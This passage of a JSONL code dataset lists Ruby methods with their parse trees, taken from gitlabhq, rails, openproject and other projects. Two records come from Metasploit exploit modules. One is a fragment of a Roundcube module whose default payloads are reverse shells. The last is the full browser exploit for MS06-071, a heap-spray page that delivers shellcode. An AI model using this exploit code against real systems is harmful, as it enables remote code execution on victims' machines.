Dropper\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_ARMLE\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_AARCH64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"linux_dropper\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"linux/x64/meterpreter/reverse_tcp\"]}]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux Command\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"nix_cmd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"cmd/unix/reverse_bash\"]}]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Email User to login with\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Password to login with\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The URI of the Roundcube Application\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"HOST\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The hostname of Roundcube server\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]}]}","id":"4049d22a-efed-48cb-abdf-aee835b6ec50"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/specs/runner.rb","start_line":89,"raw_source":"def specs_in_path(path)\n        scenario_specs.select { |spec| spec.match?(%r{#{ABSOLUTE_PATH_PREFIX_PATTERN}#{path}}) }\n      end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"specs_in_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scenario_specs\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"spec\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spec\"]},\"match?\",{\"type\":\"regexp\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ABSOLUTE_PATH_PREFIX_PATTERN\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}","id":"e9e8018d-db3c-4f90-8dad-f442fd84af00"}
{"repo_name":"spree","file_path":"./repos/spree/storefront/app/helpers/spree/theme_helper.rb","start_line":52,"raw_source":"def current_theme_or_preview\n      @current_theme_or_preview ||= current_theme_preview || current_theme\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"current_theme_or_preview\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@current_theme_or_preview\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_theme_preview\"]},{\"type\":\"send\",\"children\":[null,\"current_theme\"]}]}]}]}","id":"9d4bd7e1-179a-4074-9df6-89032b361cd6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/sidekiq_middleware/resource_usage_limit/middleware.rb","start_line":32,"raw_source":"def name_from_class(worker_class, job)\n          worker = find_worker(worker_class, job)\n          worker.try(:name) || worker.class.name\n        end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"name_from_class\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"worker_class\"]},{\"type\":\"arg\",\"children\":[\"job\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"worker\",{\"type\":\"send\",\"children\":[null,\"find_worker\",{\"type\":\"lvar\",\"children\":[\"worker_class\"]},{\"type\":\"lvar\",\"children\":[\"job\"]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"worker\"]},\"try\",{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"worker\"]},\"class\"]},\"name\"]}]}]}]}","id":"a46152ee-009b-4b03-a4fe-b85ed311ef1b"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/workflow.rb","start_line":40,"raw_source":"def self.count_by_type_and_role\n    counts = connection\n             .select_all(\"SELECT role_id, type_id, count(id) AS c FROM #{Workflow.table_name} GROUP BY role_id, type_id\")\n    roles = Role.order(Arel.sql(\"builtin, position\"))\n    types = ::Type.order(Arel.sql(\"position\"))\n\n    result = []\n    types.each do |type|\n      t = []\n      roles.each do |role|\n        row = counts.detect { |c| c[\"role_id\"].to_s == role.id.to_s && c[\"type_id\"].to_s == type.id.to_s }\n        t << [role, (row.nil? ? 0 : row[\"c\"].to_i)]\n      end\n      result << [type, t]\n    end\n\n    result\n  end","complexity_score":50.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"count_by_type_and_role\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"counts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"select_all\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT role_id, type_id, count(id) AS c FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Workflow\"]},\"table_name\"]}]},{\"type\":\"str\",\"children\":[\" GROUP BY role_id, type_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"roles\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Role\"]},\"order\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"sql\",{\"type\":\"str\",\"children\":[\"builtin, position\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"types\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Type\"]},\"order\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"sql\",{\"type\":\"str\",\"children\":[\"position\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"types\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"roles\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"role\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"row\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"counts\"]},\"detect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"[]\",{\"type\":\"str\",\"children\":[\"role_id\"]}]},\"to_s\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"role\"]},\"id\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"[]\",{\"type\":\"str\",\"children\":[\"type_id\"]}]},\"to_s\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"id\"]},\"to_s\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"role\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"nil?\"]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"c\"]}]},\"to_i\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"t\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"c378b5d0-1378-4b26-9ad7-19cbe0826825"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/remote_mirror.rb","start_line":237,"raw_source":"def send_failure_notifications\n    Gitlab::Metrics.add_event(:remote_mirrors_failed)\n\n    run_after_commit do\n      RemoteMirrorNotificationWorker.perform_async(id)\n    end\n\n    self.last_update_at = Time.current\n    save!(validate: false)\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"send_failure_notifications\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Metrics\"]},\"add_event\",{\"type\":\"sym\",\"children\":[\"remote_mirrors_failed\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_after_commit\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RemoteMirrorNotificationWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[null,\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"last_update_at=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]},{\"type\":\"send\",\"children\":[null,\"save!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validate\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"c179d1d0-20e2-41be-b044-768cb36aeddd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/project.rb","start_line":314,"raw_source":"def all_branches\n        get(request_url(api_repository_branches_path))\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"all_branches\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"send\",\"children\":[null,\"request_url\",{\"type\":\"send\",\"children\":[null,\"api_repository_branches_path\"]}]}]}]}","id":"1d0c268d-652d-4167-8fb5-b8269c94e6f9"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/openid_connect/app/seeders/env_data/openid_connect/provider_seeder.rb","start_line":48,"raw_source":"def applicable?\n        Setting.seed_oidc_provider.present?\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"applicable?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"seed_oidc_provider\"]},\"present?\"]}]}","id":"8ba3ae5f-0688-4861-b769-ef792a5c0cff"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/in_tail.rb","start_line":1165,"raw_source":"def ready_to_shutdown(shutdown_start_time = nil)\n          @shutdown_mutex.synchronize {\n            @shutdown_start_time =\n              shutdown_start_time || Fluent::Clock.now\n          }\n        end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"ready_to_shutdown\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"shutdown_start_time\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@shutdown_mutex\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@shutdown_start_time\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shutdown_start_time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Clock\"]},\"now\"]}]}]}]}]}","id":"53bbac74-05b7-4162-b574-5f8af8590eb9"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_helper_test.rb","start_line":1071,"raw_source":"def test_textarea_with_nil_alternate_value\n    assert_dom_equal(\n      %{<textarea id=\"post_body\" name=\"post[body]\">\\n</textarea>},\n      textarea(\"post\", \"body\", value: nil)\n    )\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_textarea_with_nil_alternate_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"str\",\"children\":[\"<textarea id=\\\"post_body\\\" name=\\\"post[body]\\\">\\n</textarea>\"]},{\"type\":\"send\",\"children\":[null,\"textarea\",{\"type\":\"str\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"body\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}","id":"17f35a94-a626-478f-afe5-7995511701ac"}
{"repo_name":"forem","file_path":"./repos/forem/app/liquid_tags/details_tag.rb","start_line":6,"raw_source":"def initialize(_tag_name, summary, _parse_context)\n    super\n    @summary = sanitize(summary.strip)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_tag_name\"]},{\"type\":\"arg\",\"children\":[\"summary\"]},{\"type\":\"arg\",\"children\":[\"_parse_context\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@summary\",{\"type\":\"send\",\"children\":[null,\"sanitize\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"summary\"]},\"strip\"]}]}]}]}]}","id":"e8ccf163-b71f-4b3c-935a-871b09c87ec2"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/trailing_comma_in_attribute_declaration.rb","start_line":46,"raw_source":"def trailing_comma_range(node)\n          range_with_surrounding_space(\n            node.arguments[-2].source_range,\n            side: :right\n          ).end.resize(1)\n        end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"trailing_comma_range\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"range_with_surrounding_space\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"arguments\"]},\"[]\",{\"type\":\"int\",\"children\":[-2]}]},\"source_range\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"side\"]},{\"type\":\"sym\",\"children\":[\"right\"]}]}]}]},\"end\"]},\"resize\",{\"type\":\"int\",\"children\":[1]}]}]}","id":"bac7a404-567f-4f78-819b-e67a1e0b585c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/spec/support/lib/module_validation.rb","start_line":188,"raw_source":"def has_notes?\n      !notes.empty?\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"has_notes?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"notes\"]},\"empty?\"]},\"!\"]}]}","id":"6392eeae-af68-402c-bd46-a06fe350394d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/ms06_071_xml_core.rb","start_line":52,"raw_source":"def on_request_uri(cli, request)\n    # Re-generate the payload\n    return if ((p = regenerate_payload(cli)) == nil)\n\n    # Encode the shellcode\n    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))\n\n    # Get a unicode friendly version of the return address\n    addr_word = [target.ret].pack('V').unpack('H*')[0][0, 4]\n\n    # Randomize the javascript variable names\n    var_buffer = rand_text_alpha(rand(30) + 2)\n    var_shellcode = rand_text_alpha(rand(30) + 2)\n    var_unescape = rand_text_alpha(rand(30) + 2)\n    var_x = rand_text_alpha(rand(30) + 2)\n    var_i = rand_text_alpha(rand(30) + 2)\n\n    var_size = rand_text_alpha(rand(30) + 2)\n    var_nopsize = rand_text_alpha(rand(30) + 2)\n    var_limit = rand_text_alpha(rand(30) + 2)\n\n    var_obj = rand_text_alpha(rand(30) + 2)\n    var_id = rand_text_alpha(rand(30) + 2)\n\n    # Build out the message\n    content = %Q|\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n<body>\n<object id=#{var_id} classid=\"CLSID:{88d969c5-f192-11d4-a65f-0040963251e5}\">\n</object>\n<script>\n\n  var #{var_unescape}  = unescape ;\n  var #{var_shellcode} = #{var_unescape}( \"#{shellcode}\" ) ;\n\n  var #{var_size} = #{var_shellcode}.length * 2;\n  var #{var_nopsize} = 0x400000 - (#{var_size} + 0x38);\n  var #{var_buffer} = #{var_unescape}( \"%u#{addr_word}\" ) ;\n\n  while (#{var_buffer}.length * 2 < #{var_nopsize}) #{var_buffer}+=#{var_buffer} ;\n\n  #{var_limit} = (0x12000000 - 0x400000) / 0x400000;\n  var #{var_x} = new Array() ;\n  for ( var #{var_i} =0 ; #{var_i} < #{var_limit} ; #{var_i}++ ) {\n    #{var_x}[ #{var_i} ] =\n      #{var_buffer} + #{var_shellcode};\n  }\n\n  var #{var_obj} = null;\n  #{var_obj} = document.getElementById('#{var_id}').object;\n\n  try {\n    #{var_obj}.open(new Array(), new Array(), new Array(), new Array(), new Array());\n  } catch(e) {};\n\n  #{var_obj}.open(new Object(), new Object(), new Object(), new Object(), new Object());\n\n  #{var_obj}.setRequestHeader( new Object(), '......' );\n  #{var_obj}.setRequestHeader( new Object(), 0x12345678 );\n  #{var_obj}.setRequestHeader( new Object(), 0x12345678 );\n  #{var_obj}.setRequestHeader( new Object(), 0x12345678 );\n  #{var_obj}.setRequestHeader( new Object(), 0x12345678 );\n  #{var_obj}.setRequestHeader( new Object(), 0x12345678 );\n  #{var_obj}.setRequestHeader( new Object(), 0x12345678 );\n  #{var_obj}.setRequestHeader( new Object(), 0x12345678 );\n  #{var_obj}.setRequestHeader( new Object(), 0x12345678 );\n  #{var_obj}.setRequestHeader( new Object(), 0x12345678 );\n  #{var_obj}.setRequestHeader( new Object(), 0x12345678 );\n  #{var_obj}.setRequestHeader( new Object(), 0x12345678 );\n\n</script>\n</body>\n</html>\n    |\n\n    content = Rex::Text.randomize_space(content)\n\n    print_status(\"Sending #{self.name}\")\n\n    # Transmit the response to the client\n    send_response_html(cli, content)\n\n    # Handle the payload\n    handler(cli)\n  end","complexity_score":84.2,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[null,\"regenerate_payload\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]}]}]},\"==\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"shellcode\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"to_unescape\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Arch\"]},\"endian\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"arch\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"addr_word\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"ret\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"H*\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"lvasgn\",\"children\":[\"var_buffer\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[30]}]},\"+\",{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"var_shellcode\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[30]}]},\"+\",{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"var_unescape\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[30]}]},\"+\",{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"var_x\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[30]}]},\"+\",{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"var_i\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[30]}]},\"+\",{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"var_size\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[30]}]},\"+\",{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"var_nopsize\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[30]}]},\"+\",{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"var_limit\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[30]}]},\"+\",{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"var_obj\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[30]}]},\"+\",{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"var_id\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[30]}]},\"+\",{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"<html xmlns=\\\"http://www.w3.org/1999/xhtml\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"<body>\\n\"]},{\"type\":\"str\",\"children\":[\"<object id=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_id\"]}]},{\"type\":\"str\",\"children\":[\" classid=\\\"CLSID:{88d969c5-f192-11d4-a65f-0040963251e5}\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"</object>\\n\"]},{\"type\":\"str\",\"children\":[\"<script>\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  var \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_unescape\"]}]},{\"type\":\"str\",\"children\":[\"  = unescape ;\\n\"]},{\"type\":\"str\",\"children\":[\"  var \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_shellcode\"]}]},{\"type\":\"str\",\"children\":[\" = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_unescape\"]}]},{\"type\":\"str\",\"children\":[\"( \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shellcode\"]}]},{\"type\":\"str\",\"children\":[\"\\\" ) ;\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  var \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_size\"]}]},{\"type\":\"str\",\"children\":[\" = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_shellcode\"]}]},{\"type\":\"str\",\"children\":[\".length * 2;\\n\"]},{\"type\":\"str\",\"children\":[\"  var \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_nopsize\"]}]},{\"type\":\"str\",\"children\":[\" = 0x400000 - (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_size\"]}]},{\"type\":\"str\",\"children\":[\" + 0x38);\\n\"]},{\"type\":\"str\",\"children\":[\"  var \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_buffer\"]}]},{\"type\":\"str\",\"children\":[\" = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_unescape\"]}]},{\"type\":\"str\",\"children\":[\"( 